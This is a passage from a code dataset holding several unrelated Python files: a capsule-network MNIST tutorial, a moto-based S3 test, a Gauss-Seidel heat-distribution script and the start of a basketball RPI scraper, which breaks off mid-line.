kernel_size=kernel_size,\n                              stride=stride, padding=padding)\n                    for _ in range(num_capsules)\n                ]\n            )\n\n    def forward(self, x):\n        batch_size = x.size(0)\n        # get output and reshape them\n        u = [capsule(x).view(batch_size, 32 * 6 * 6, 1) for capsule in self.capsules]\n        # concatinate outputs\n        u = torch.cat(u, dim=-1)  # TOLEARN: Understand why dim =-1 and why caat in such manner\n        # squash for non linearity\n        u_squash = squash(u)\n        return u_squash\n\n\n# Dynamic Routing\ndef dynamic_routing(b_ij, u_hat, routing_iteration=3):\n    '''\n    :param b_ij: var that will yield coupling coeff; initial log probabilities that capsule i should be coupled to capsule j\n    :param u_hat: input, weighted capsule vectors, W u; op of last layer after the inverse transform.\n    :param routing_iteration: no. of times the dynamic routing should happen. by paper 3-5 times.\n    :return: final vector op of the this layer. last layer was u already\n\n    last layer op = u.\n    after transform = W u = u_hat, note : this operation is not done in this function. (like the inverse graphics step to remove positional variance or whatever)\n\n    final op of last layer = vj.\n    vj = squash(sj)\n    sj = sum(cij.u_hat)\n    cij = softmax(b ij, over j)\n    b ij <- bij + agreement\n    agreement = dot product u_hat i.e. transformed vec and v\n    '''\n    for iteration in range(routing_iteration):\n        # softmax calculation of coupling coefficients, c_ij\n        c_ij = transpose_softmax(b_ij, dim=2)  # TOLEARN: understand why transpose softmax\n\n        # calculating total capsule inputs, s_j = sum(c_ij*u_hat)\n        s_j = (c_ij * u_hat).sum(dim=2, keepdim=True)\n\n        # squash\n        v_j = squash(s_j)\n\n        if iteration < routing_iteration - 1:\n            # get agreement\n            a_ij = (u_hat * v_j).sum(dim=-1, keepdim=True)\n\n            # update b_ij\n            b_ij += a_ij\n    return v_j\n\n\n# capsules for digits\nclass DigitCapsule(nn.Module):\n    def __init__(self, num_capsule=10, num_cap_prev=8, cap_dim=16, cap_dim_prev=32 * 6 * 6):\n        '''\n        'inverse graphics' will happen here. u_hat = W*u, supposed to remove variance from representation\n\n        3rd network and 2nd capsule network\n        :param num_capsule: number of capsule in current layer. (= no. of class if this is last layer)\n        :param num_cap_prev: number of capsules in previous later\n        :param cap_dim: elements in current capsule layer = 16\n        :param cap_dim_prev: elements in previous layer capsule (32*6*6)\n        '''\n        super(DigitCapsule, self).__init__()\n        self.num_capsules = num_capsule\n        self.num_capsules_prev = num_cap_prev\n        self.cap_dim = cap_dim\n        self.cap_dim_prev = cap_dim_prev\n        # TOLEARN: why the shape of W as given below ? how des 4d mat mul happen ?\n        self.W = nn.Parameter(torch.randn(num_capsule, cap_dim_prev, num_cap_prev, cap_dim))\n\n    def forward(self, u):\n        # TOLEARN: understand whats happening with the matrices below\n        u = u[None, :, :, None, :]\n        W = self.W[:, None, :, :, :]\n        u_hat = torch.matmul(u, W)\n        # TOLEARN understand the dimensionality here\n        b_ij = torch.zeros(*u_hat.size())\n        if TRAIN_ON_GPU:\n            b_ij = b_ij.cuda()\n        v_j = dynamic_routing(b_ij, u_hat, routing_iteration=3)\n        return v_j\n\n\n# Decoding\nclass Decoder(nn.Module):\n    def __init__(self, input_capsule_dim=16, input_capsules=10, hidden_dim=512):\n        super(Decoder, self).__init__()\n        input_dim = input_capsule_dim * input_capsules\n\n        self.linear_decoder = nn.Sequential(OrderedDict([\n            ('fc1', nn.Linear(input_dim, hidden_dim)),\n            ('relu1', nn.ReLU(inplace=True)),\n            ('fc2', nn.Linear(hidden_dim, hidden_dim * 2)),\n            ('relu2', nn.ReLU(inplace=True)),\n            ('fc3', nn.Linear(hidden_dim * 2, 28 * 28 * 1)),\n            ('Sigmoid', nn.Sigmoid())\n        ]))\n\n    def forward(self, x):\n        # probability of each class based on the magnitude of the vector\n        class_prob = (x ** 2).sum(dim=-1) ** 0.5\n        class_pred = F.softmax(class_prob, dim=-1)\n\n        # Find capsule with max length, i.e. prediction\n        _, max_length_idx = class_pred.max(dim=1)\n\n        # identity matrix\n        sparse_matrix = torch.eye(10)  # 10 classes\n        if TRAIN_ON_GPU:\n            sparse_matrix = sparse_matrix.cuda()\n\n        # fancy way to get a vector with 1hot representation of the prediction\n        y = sparse_matrix.index_select(dim=0, index=max_length_idx.data)\n\n        # reconstructed pixels\n        # so that we reconstruct only the predicted class, only have those in the reconstruction matrix\n        x = x * y[:, :, None]\n        flattened_x = x.view(x.size(0), -1)\n        reconstructions = self.linear_decoder(flattened_x)\n\n        # return reconstructions, class_pred\n        return reconstructions, y\n\n\n# Final capsule class that usess all the above class.\nclass CapsuleNetwork(nn.Module):\n    def __init__(self):\n        super(CapsuleNetwork, self).__init__()\n        self.convLayer = ConvolutionLayer()\n        self.primaryCapsle = PrimaryCapsule()\n        self.digitCapsule = DigitCapsule()\n        self.decoder = Decoder()\n\n    def forward(self, images):\n        primary_cap_op = self.primaryCapsle(self.convLayer(images))\n        caps_out = self.digitCapsule(primary_cap_op).squeeze().transpose(0, 1)\n        reconstruction, y = self.decoder(caps_out)\n        return caps_out, reconstruction, y\n\n\ncapsnet = CapsuleNetwork()\nprint(capsnet)\n\n\n# Loss for Capsule;\nclass CapsuleLoss(nn.Module):\n    def __init__(self):\n        super(CapsuleLoss, self).__init__()\n        self.reconstructionLoss = nn.MSELoss(size_average=False)\n\n    def forward(self, x, labels, images, reconstructions):\n        batch_size = x.size(0)\n\n        # TOTRY: maybe skip this, pass logits in above decoder fn instead of y\n        v_c = torch.sqrt((x ** 2).sum(dim=2, keepdim=True))\n\n        # get correct and incorrect loss\n        left = F.relu(0.9 - v_c).view(batch_size, -1)\n        right = F.relu(v_c - 0.1).view(batch_size, -1)\n\n        margin_loss = labels * left + (1. - labels) * right\n        margin_loss = margin_loss.sum()\n\n        # get reconstruction loss\n        images = images.view(reconstructions.size()[0], -1)\n        reconstruction_loss = self.reconstructionLoss(reconstructions, images)\n\n        # return a weighted sum\n        return (margin_loss + 0.0005 * reconstruction_loss) / images.size(0)\n\n\ncriterion = CapsuleLoss()\noptimizer = optim.Adam(capsnet.parameters())\n\nif TRAIN_ON_GPU:\n    capsnet = capsnet.cuda()\n\n\n# train\ndef train(capsule_net, criterion, optimizer, n_epochs=1, print_every=1000):\n    losses = []\n    for epoch in range(1, n_epochs + 1):\n        train_loss = 0.0\n        capsule_net.train()\n\n        for batch_i, (images, target) in enumerate(train_loader):\n\n            # reshape and get target class\n            target = torch.eye(10).index_select(dim=0, index=target)\n\n            if TRAIN_ON_GPU:\n                images, target = images.cuda(), target.cuda()\n\n            # zero out gradients\n            optimizer.zero_grad()\n            # get model outputs\n            caps_output, reconstructions, y = capsule_net(images)\n            # calculate loss\n            loss = criterion(caps_output, target, images, reconstructions)\n            # perform backpropagation and optimization\n            loss.backward()\n            optimizer.step()\n\n            train_loss += loss.item()  # accumulated training loss\n\n            # print and record training stats\n            if batch_i != 0 and batch_i % print_every == 0:\n                avg_train_loss = train_loss / print_every\n                losses.append(avg_train_loss)\n                print('Epoch: {} \\tTraining Loss: {:.8f}'.format(epoch, avg_train_loss))\n                train_loss = 0  # reset accumulated training loss\n\n    return losses\n\n\nn_epochs = 3\nlosses = train(capsnet, criterion, optimizer, n_epochs=n_epochs, print_every=100)\n\nplt.plot(losses)\nplt.title(\"Training Loss\")\nplt.show()\n\n\ndef test(capsule_net, test_loader):\n    '''Prints out test statistics for a given capsule net.\n       param capsule_net: trained capsule network\n       param test_loader: test dataloader\n       return: returns last batch of test image data and corresponding reconstructions\n       '''\n    class_correct = list(0. for i in range(10))\n    class_total = list(0. for i in range(10))\n\n    test_loss = 0  # loss tracking\n\n    capsule_net.eval()  # eval mode\n\n    for batch_i, (images, target) in enumerate(test_loader):\n        target = torch.eye(10).index_select(dim=0, index=target)\n\n        batch_size = images.size(0)\n\n        if TRAIN_ON_GPU:\n            images, target = images.cuda(), target.cuda()\n\n        # forward pass: compute predicted outputs by passing inputs to the model\n        caps_output, reconstructions, y = capsule_net(images)\n        # calculate the loss\n        loss = criterion(caps_output, target, images, reconstructions)\n        # update average test loss\n        test_loss += loss.item()\n        # convert output probabilities to predicted class\n        _, pred = torch.max(y.data.cpu(), 1)\n        _, target_shape = torch.max(target.data.cpu(), 1)\n\n        # compare predictions to true label\n        correct = np.squeeze(pred.eq(target_shape.data.view_as(pred)))\n        # calculate test accuracy for each object class\n        for i in range(batch_size):\n            label = target_shape.data[i]\n            class_correct[label] += correct[i].item()\n            class_total[label] += 1\n\n    # avg test loss\n    avg_test_loss = test_loss / len(test_loader)\n    print('Test Loss: {:.8f}\\n'.format(avg_test_loss))\n\n    for i in range(10):\n        if class_total[i] > 0:\n            print('Test Accuracy of %5s: %2d%% (%2d/%2d)' % (\n                str(i), 100 * class_correct[i] / class_total[i],\n                np.sum(class_correct[i]), np.sum(class_total[i])))\n        else:\n            # print('Test Accuracy of %5s: N/A (no training examples)' % (classes[i]))\n            pass\n\n    print('\\nTest Accuracy (Overall): %2d%% (%2d/%2d)' % (\n        100. * np.sum(class_correct) / np.sum(class_total),\n        np.sum(class_correct), np.sum(class_total)))\n\n    # return last batch of capsule vectors, images, reconstructions\n    return caps_output, images, reconstructions\n\n\ncaps_output, images, reconstructions = test(capsnet, test_loader)\n\n\ndef display_images(images, reconstructions):\n    '''Plot one row of original MNIST images and another row (below)\n       of their reconstructions.'''\n    # convert to numpy images\n    images = images.data.cpu().numpy()\n    reconstructions = reconstructions.view(-1, 1, 28, 28)\n    reconstructions = reconstructions.data.cpu().numpy()\n\n    # plot the first ten input images and then reconstructed images\n    fig, axes = plt.subplots(nrows=2, ncols=10, sharex=True, sharey=True, figsize=(26, 5))\n\n    # input images on top row, reconstructions on bottom\n    for images, row in zip([images, reconstructions], axes):\n        for img, ax in zip(images, row):\n            ax.imshow(np.squeeze(img), cmap='gray')\n            ax.get_xaxis().set_visible(False)\n            ax.get_yaxis().set_visible(False)\n\n\ndisplay_images(images, reconstructions)\n", "repo_name": "aakash94/DeepLearningBasics", "sub_path": "4ConvolutionalNeuralNetwork/5_Capsule.py", "file_name": "5_Capsule.py", "file_ext": "py", "file_size_in_byte": 14815, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.cuda.is_available", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 15, "usage_type": "attribute"}, {"api_name": "numpy.random.seed", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 24, "usage_type": "attribute"}, {"api_name": "torch.manual_seed", "line_number": 25, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 30, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 30, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 32, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 32, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 33, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 33, "usage_type": "name"}, {"api_name": "torchvision.datasets.MNIST", "line_number": 38, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 38, "usage_type": "name"}, {"api_name": "torchvision.datasets.MNIST", "line_number": 39, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 39, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 42, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 42, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 43, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 43, "usage_type": "attribute"}, {"api_name": "torch.sqrt", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.nn.functional.softmax", "line_number": 78, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 78, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 84, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 84, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 89, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 89, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 92, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 92, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 99, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 99, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 104, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 107, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 107, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 118, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 162, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 162, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 179, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 179, "usage_type": "name"}, {"api_name": "torch.randn", "line_number": 179, "usage_type": "call"}, {"api_name": "torch.matmul", "line_number": 185, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 187, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 195, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 195, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 200, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 200, "usage_type": "name"}, {"api_name": "collections.OrderedDict", "line_number": 200, "usage_type": "call"}, {"api_name": "torch.nn.Linear", "line_number": 201, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 201, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 202, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 202, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 203, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 203, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 204, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 204, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 205, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 205, "usage_type": "name"}, {"api_name": "torch.nn.Sigmoid", "line_number": 206, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 206, "usage_type": "name"}, {"api_name": "torch.nn.functional.softmax", "line_number": 212, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 212, "usage_type": "name"}, {"api_name": "torch.eye", "line_number": 218, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 236, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 236, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 256, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 256, "usage_type": "name"}, {"api_name": "torch.nn.MSELoss", "line_number": 259, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 259, "usage_type": "name"}, {"api_name": "torch.sqrt", "line_number": 265, "usage_type": "call"}, {"api_name": "torch.nn.functional.relu", "line_number": 268, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 268, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 269, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 269, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 283, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 283, "usage_type": "name"}, {"api_name": "torch.eye", "line_number": 299, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 329, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 329, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 330, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 330, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 331, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 331, "usage_type": "name"}, {"api_name": "torch.eye", "line_number": 348, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 362, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 363, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 366, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 381, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 387, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 388, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 406, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 406, "usage_type": "name"}, {"api_name": "numpy.squeeze", "line_number": 411, "usage_type": "call"}]}
{"seq_id": "32193039859", "text": "import responsavel_financeiro\nimport boto3\nfrom moto import mock_s3\n\n@mock_s3   \ndef test_put():\n    conn = boto3.resource('s3', region_name='us-east-1')\n    conn.create_bucket(Bucket='mybucket')\n    body = conn.Object('mybucket', 'steve').get()['Body'].read().decode(\"utf-8\")\n\n\n    responsavel_financeiro.get_dados_responsavel_financeiro('mybucket', {'file_key':'file_key'})\n    \n    assert body == 'file_key'\n\n\n@mock_s3\ndef test_empty_key_set_on_existing_key():\n    s3 = boto3.resource(\"s3\")\n    client = boto3.client(\"s3\")\n    s3.create_bucket(Bucket=\"foobar\")\n\n    key = s3.Object(\"foobar\", \"the-key\")\n    key.put(Body=b\"some content\")\n\n    resp = responsavel_financeiro.get_dados_responsavel_financeiro(Bucket=\"foobar\", Key=\"the-key\")\n    resp[\"Body\"].read().should.equal(b\"some content\")\n\n    key.put(Body=b\"\")\n\n    resp = client.get_object(Bucket=\"foobar\", Key=\"the-key\")\n    resp.should.have.key(\"ContentLength\").equal(0)\n    resp[\"Body\"].read().should.equal(b\"\")\n\n", "repo_name": "arianerfrancisco/table-dynamodb-python-boto3", "sub_path": "dynamodb/test_put.py", "file_name": "test_put.py", "file_ext": "py", "file_size_in_byte": 973, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "boto3.resource", "line_number": 7, "usage_type": "call"}, {"api_name": "responsavel_financeiro.get_dados_responsavel_financeiro", "line_number": 12, "usage_type": "call"}, {"api_name": "moto.mock_s3", "line_number": 5, "usage_type": "name"}, {"api_name": "boto3.resource", "line_number": 19, "usage_type": "call"}, {"api_name": "boto3.client", "line_number": 20, "usage_type": "call"}, {"api_name": "responsavel_financeiro.get_dados_responsavel_financeiro", "line_number": 26, "usage_type": "call"}, {"api_name": "moto.mock_s3", "line_number": 17, "usage_type": "name"}]}
{"seq_id": "7307575482", "text": "# Dada uma placa quadrada 1x1 m^2 e as temperaturas de fronteiras\r\n# calcule a temperatura nesta placa e visualize a distribuição\r\n# usando Gauss-Seidel e um grid nxn\r\n\r\n# Aluno: Leonardo Meireles Murtha Oliveira\r\n# NºUSP: 4182085\r\n \r\nimport GaussSeidel as gsd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n# Retorna a matriz de coeficientes e o vetor B\r\ndef createLinearSystem(grid, n):\r\n    m = (n-2)**2\r\n    A = 4*np.identity(m, float) # Vezes quatro pois a variavel é a média entre 4\r\n    b = np.zeros(m, float)\r\n    \r\n    for i in range(1, n-1):\r\n        for j in range(1,n-1):\r\n            g = 0\r\n            \r\n            if(grid[i,j-1] == 3.14):\r\n                A[(i-1)*(n-2) + (j-1)][(i-1)*(n-2) + (j-2)] = -1\r\n                #print('{} = {} {}'.format(((i-1)*(n-2) + (j-1)),i-1, (i-1)*(n-2) + (j-2)))\r\n            else: g = g + grid[i, j-1]\r\n            \r\n            if(grid[i-1,j] == 3.14):\r\n                A[(i-1)*(n-2) + (j-1)][(i-2)*(n-2) + (j-1)] = -1\r\n                #print('{} = {} {}'.format(((i-1)*(n-2) + (j-1)),i-1, (i-2)*(n-2) + (j-1)))\r\n            else: g = g + grid[i-1, j]\r\n            \r\n            if(grid[i,j+1] == 3.14):\r\n                A[(i-1)*(n-2) + (j-1)][(i-1)*(n-2) + j] = -1\r\n                #print('{} = {} {}'.format(((i-1)*(n-2) + (j-1)),i-1, (i-1)*(n-2) + j))\r\n            else: g = g + grid[i, j+1]\r\n            \r\n            if(grid[i+1,j] == 3.14):\r\n                A[(i-1)*(n-2) + (j-1)][i*(n-2) + ((j)-1)] = -1\r\n                #print('{} = {} {}'.format(((i-1)*(n-2) + (j-1)),i-1, i*(n-2) + ((j)-1)))\r\n            else: g = g + grid[i+1, j]    \r\n            \r\n            b[(i-1)*(n-2) + (j-1)] = g\r\n            \r\n    return A, b       \r\n\r\n# Inicializa o grid com as temp. fronteiras\r\ndef initGrid(dR, n):\r\n    grid = np.full((n, n), float(3.14),float)\r\n    \r\n    print('>>Inicializando o grid.')\r\n    grid[0,0] = (dR[0] + dR[1])/2\r\n    grid[n-1,0] = (dR[1] + dR[2])/2\r\n    grid[n-1,n-1] = (dR[2] + dR[3])/2\r\n    grid[0, n-1] = (dR[3] + dR[0])/2\r\n    \r\n    for i in range(1,n-1):\r\n        grid[i,0] = dR[0] # Parte esquerda\r\n        grid[0,i] = dR[1] # Parte do topo\r\n        grid[i,n-1] = dR[2] # Parte direita\r\n        grid[n-1,i] = dR[3] # Parde de baixo\r\n    \r\n    return grid\r\n\r\n# Atualiza o grid com a solução\r\ndef updateGrid(grid, xf, n):\r\n    for i in range(1, n-1):\r\n        for j in range(1,n-1):\r\n            grid[i][j] = xf[(i-1)*(n-2) + (j-1)]\r\n            \r\ndef main():\r\n\r\n    print('>>>A coleta de fronteira é sentido horário começando pelo lado esquerdo.')\r\n    print('>>>Lembrando que a dimensão do grid é n gera (n-2)^2 variaveis.')\r\n    n = int(input('>>>Digite a dimensão do grid.\\n'))\r\n    dR = np.zeros(4) # Vetor de temperaturas das fronteiras\r\n    \r\n    for i in range(4):\r\n        dR[i] = float(input('>>>Digite a temp da fronteira [{}].\\n'.format(i+1)))\r\n    \r\n    grid = initGrid(dR, n) # Inicia o grid com as temperatura de fronteiras em equilibrio   \r\n    A, b = createLinearSystem(grid, n)  # Cria a matriz a partir das equações\r\n    xi = gsd.initialX(A, b) # Pega o chute inicial\r\n    t = 20 # Número de iterações do Gauss-Seidel\r\n    xf = gsd.solve(A, b, xi, t) # Resolve o sistema\r\n    updateGrid(grid, xf, n) # Atualiza o grid com a solução aproximada\r\n    \r\n    # Parte de visualização\r\n    plt.title('Heat Distribution')\r\n    plt.xlabel('Coluna do grid')\r\n    plt.ylabel('Linha do grid')\r\n    plt.imshow(grid, cmap='plasma', interpolation='nearest')\r\n    plt.colorbar()\r\n    plt.show()\r\n\r\nif __name__ == \"__main__\":\r\n    main()", "repo_name": "leoMurtha/Heat-distribution-of-a-plate", "sub_path": "T1/T1.py", "file_name": "T1.py", "file_ext": "py", "file_size_in_byte": 3548, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.identity", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.full", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 75, "usage_type": "call"}, {"api_name": "GaussSeidel.initialX", "line_number": 82, "usage_type": "call"}, {"api_name": "GaussSeidel.solve", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 91, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 93, "usage_type": "name"}]}
{"seq_id": "37911673111", "text": "import asyncio, aiohttp, async_timeout, lxml, json, datetime as dt, itertools, copy, pickle, math, scipy\nfrom bs4 import BeautifulSoup, SoupStrainer\nfrom time import strptime\nfrom statistics import mean\nfrom scipy.stats.mstats import gmean\n\n\nclass Team:\n\tdef __init__(self, teamid, longname, shortname=None, isd1=False, conference=None):\n\t\tself.teamid = teamid\n\t\tself.longname = longname\n\t\tself.shortname = shortname\n\t\tself.isd1 = isd1\n\t\tself.conference = conference\n\t\tself.games = set()\n\t\n\tdef winslosses(self):\n\t\tsortedlist = [[],[]]\n\t\tfor game in self.games:\n\t\t\tif game.winner() is self:\n\t\t\t\tsortedlist[0].append(game)\n\t\t\telif game.loser() is self:\n\t\t\t\tsortedlist[1].append(game)\n\t\treturn sortedlist\n\t\n\tdef opponent(self, game):\n\t\tif game.hometeam is self:\n\t\t\treturn game.awayteam\n\t\telif game.awayteam is self:\n\t\t\treturn game.hometeam\n\t\telse:\n\t\t\tprint(self.longname+' did not play in game '+str(game.gameid)+'!')\n\t\n\tdef D1winslosses(self):\n\t\twinslosses = self.winslosses()\n\t\treturn [[win for win in winslosses[0] if self.opponent(win).isd1], [loss for loss in winslosses[1] if self.opponent(loss).isd1]]\n\t\n\tdef record(self):\n\t\twinslosses = self.winslosses()\n\t\treturn str(len(winslosses[0]))+'-'+str(len(winslosses[1]))\n\t\n\tdef D1record(self):\n\t\tD1winslosses = self.D1winslosses()\n\t\treturn str(len(D1winslosses[0]))+'-'+str(len(D1winslosses[1]))\n\t\n\tdef winpct(self):\n\t\twinslosses = self.winslosses()\n\t\twins = winslosses[0]\n\t\tlosses = winslosses[1]\n\t\tif not wins and not losses:\n\t\t\treturn 0.\n\t\telse:\n\t\t\treturn len(wins)/(len(wins)+len(losses))\n\t\n\tdef D1winpct(self):\n\t\tD1winslosses = self.D1winslosses()\n\t\tD1wins = D1winslosses[0]\n\t\tD1losses = D1winslosses[1]\n\t\tif not D1wins and not D1losses:\n\t\t\treturn 0.\n\t\telse:\n\t\t\treturn len(D1wins)/(len(D1wins)+len(D1losses))\n\t\n\tdef D1winpctwithoutopponent(self, opponent):\n\t\tD1winslosses = self.D1winslosses()\n\t\tD1winswithoutopponent = [win for win in D1winslosses[0] if self.opponent(win) is not opponent]\n\t\tD1losseswithoutopponent = [loss for loss in D1winslosses[1] if self.opponent(loss) is not opponent]\n\t\tif not D1winswithoutopponent and not D1losseswithoutopponent:\n\t\t\treturn 0.\n\t\telse:\n\t\t\treturn len(D1winswithoutopponent)/(len(D1winswithoutopponent)+len(D1losseswithoutopponent))\n\t\n\tdef opponents(self):\n\t\treturn {self.opponent(game) for game in self.games}\n\t\n\tdef D1opponents(self):\n\t\treturn {self.opponent(game) for game in self.games if self.opponent(game).isd1}\n\t\n\tdef OWP(self):\n\t\treturn mean([opponent.D1winpctwithoutopponent(self) for opponent in self.D1opponents()])\n\t\n\tdef OOWP(self):\n\t\treturn mean([opponent.OWP() for opponent in self.D1opponents()])\n\t\n\tdef RPI(self):\n\t\treturn 0.25*self.D1winpct()+0.5*self.OWP()+0.25*self.OOWP()\n\n\nclass Game:\n\tdef __init__(self, gameid, time, hometeam, homescore, awayteam, awayscore, ots=0):\n\t\tself.gameid = gameid\n\t\tself.time = time\n\t\tself.hometeam = hometeam\n\t\tself.homescore = homescore\n\t\tself.awayteam = awayteam\n\t\tself.awayscore = awayscore\n\t\tself.ots = ots\n\t\n\tdef winner(self):\n\t\tif self.homescore > self.awayscore:\n\t\t\treturn self.hometeam\n\t\telif self.awayscore > self.homescore:\n\t\t\treturn self.awayteam\n\t\n\tdef loser(self):\n\t\tif self.homescore > self.awayscore:\n\t\t\treturn self.awayteam\n\t\telif self.awayscore > self.homescore:\n\t\t\treturn self.hometeam\n\t\n\tdef pointtotal(self):\n\t\treturn self.homescore+self.awayscore\n\t\n\tdef pointdifferential(self):\n\t\treturn abs(self.homescore-self.awayscore)\n\n\ndef savedata(teams, games, savefile):\n\tsaveteams = [[team.teamid, team.longname, team.shortname, team.isd1, team.conference, [game.gameid for game in team.games]] for team in teams.values()]\n\tsavegames = [[game.gameid, game.time, game.hometeam.teamid, game.homescore, game.awayteam.teamid, game.awayscore, game.ots] for game in games.values()]\n\tpickle.dump([saveteams, savegames], open(savefile,'wb'))\n\ndef recalldata(savefile):\n\tteamsgames = pickle.load(open(savefile,'rb'))\n\trecallteams = {team[0] : Team(team[0], team[1], shortname=team[2], isd1=team[3], conference=team[4]) for team in teamsgames[0]}\n\trecallgames = {game[0] : Game(game[0], game[1], recallteams[game[2]], game[3], recallteams[game[4]], game[5], ots=game[6]) for game in teamsgames[1]}\n\tfor game in recallgames.values():\n\t\tgame.hometeam.games.add(game)\n\t\tgame.awayteam.games.add(game)\n\treturn recallteams, recallgames\n\n\nasync def getD1teams(session):\n\tteams = dict()\n\tasync with session.get('https://www.espn.com/womens-college-basketball/teams') as resp:\n\t\thtml = await resp.text()\n\t\tteamsoup = BeautifulSoup(html, 'lxml', parse_only=SoupStrainer(text=lambda string: string.startswith(\"window['__espnfitt__']\")))\n\tcolumns = json.loads(teamsoup.text[23:-1])['page']['content']['leagueTeams']['columns']\n\tfor column in columns:\n\t\tgroups = column['groups']\n\t\tfor group in groups:\n\t\t\tconference = group['nm']\n\t\t\tteamsjson = group['tms']\n\t\t\tfor teamjson in teamsjson:\n\t\t\t\tteamid = int(teamjson['id'])\n\t\t\t\tlongname = teamjson['n']\n\t\t\t\tteam = Team(teamid, longname, isd1=True, conference=conference)\n\t\t\t\tteams[teamid] = team\n\treturn teams\n\nasync def dictyieldvalues(dictionary):\n\tfor i in 